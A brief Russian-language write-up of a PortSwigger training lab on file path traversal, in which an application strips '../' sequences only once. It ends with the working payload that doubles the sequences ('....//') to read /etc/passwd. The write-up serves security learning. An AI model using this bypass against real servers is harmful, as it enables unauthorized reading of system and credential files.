На странице
apsyleg1 мин
#portswigger #path-traversal #web-security

File Path Traversal: нерекурсивная вырезка traversal-последовательностей

Лаборатория

File path traversal, traversal sequences stripped non-recursively · Apprentice

Решение

Дано

This lab contains a path traversal vulnerability in the display of product images.

The application strips path traversal sequences from the user-supplied filename before using it.

To solve the lab, retrieve the contents of the /etc/passwd file.

Анализ и разведка

Всё аналогично предыдущей, только на этот раз приложение убирает ../, но не делает это рекурсивно.

Итоговая нагрузка

GET /image?filename=....//....//....//etc/passwd